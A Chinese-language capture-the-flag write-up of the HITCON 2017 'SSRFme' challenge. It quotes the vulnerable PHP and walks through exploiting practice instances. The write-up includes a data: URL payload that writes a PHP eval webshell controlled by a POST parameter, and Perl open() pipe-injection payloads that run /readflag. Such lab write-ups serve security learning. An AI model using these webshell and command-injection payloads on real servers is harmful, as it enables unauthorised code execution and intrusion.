【HITCON 2017】SSRFme
1. 看題
程式碼:
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
#sandbox/786c0b7e11c1e9322763fcc8090ef181
@mkdir($sandbox);
@chdir($sandbox); #更改當前工作目錄
$data = shell_exec("GET " . escapeshellarg($_GET["url"])); #escapeshellarg轉義危險字元
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
實現傳送GET請求給當前GET引數’url‘,並將其結果儲存在/sandbox/786c0b7e11c1e9322763fcc8090ef181/filename中,其中filename為傳入的Get引數。
例如進行url傳參:
http://59c29008-ea1f-4cf4-89c9-16cb955abca7.node4.buuoj.cn:81/?url=www.baidu.com&filename=upload/test.php
此時訪問沙盒內容:
實現了將get百度後的資料內容儲存。
2. 路徑洩露
-
試試路徑洩露,直接訪問本機根目錄:
http://59c29008-ea1f-4cf4-89c9-16cb955abca7.node4.buuoj.cn:81/?url=/&filename=upload/test.php
此時發現flag,就在根目錄中:
但是GET命令並不能讀檔案,此時想的是透過一個遠端主機寫好馬,然後get完之後將馬儲存在test.php中,實現遠端寫馬。但是因為沒有公網ip(還是窮),而且推測get完遠端主機返回的不一定是php程式碼而是html,所以作罷,想想其他思路。
-
這裡存在一個readflag,於是測試一下訪問它:
http://59c29008-ea1f-4cf4-89c9-16cb955abca7.node4.buuoj.cn:81/?url=/readflag&filename=upload/test.php
感覺是讀flag的指令碼,那現在需要做的就是執行它。
3. 思路一:SSRF配合偽協議
聯想到之前有個題目中是file_put_contents函式使用data偽協議控制其內容,這裡想透過GET後加data偽協議實現寫馬,payload:
http://2c421d36-abcf-46cb-9985-dc13ad0966a4.node4.buuoj.cn:81/?url=data:text/plain,'<?php @eval($_POST['capt'])?>'&filename=upload/test.php
至於為什麼需要引號,可以在linux中測試,如果不加引號,命令列會因為<?等符號解析錯誤。
此時因為寫入的檔名稱字尾可以是php,所以直接訪問沙河中的php檔案,再使用蟻劍連線。但是直接開啟根目錄的flag顯示為空。所以在蟻劍中開啟命令列,執行readflag:
4. 思路二:perl語言漏洞
這也是大部分題解中的思路,利用perl語言的漏洞:
因為GET函式在底層呼叫了perl語言中的open函式,但是該函式存在rce漏洞。當open函式要開啟的檔名中存在管道符(並且系統中存在該檔名),就會中斷原有開啟檔案操作,並且把這個檔名當作一個命令來執行。
先建立該檔案:
?url=&filename=|/readflag
再執行命令:
?url=file:|readflag&filename=123
最後訪問123檔案即可。但是網上的Payload我都沒成功。
5. 總結
- 對於ssrf首先還是想到偽協議
- perl語言的漏洞,管道符的利用
- 偽協議是看了網上題解都沒有說的,所以“大話”最簡單思路,敬請指正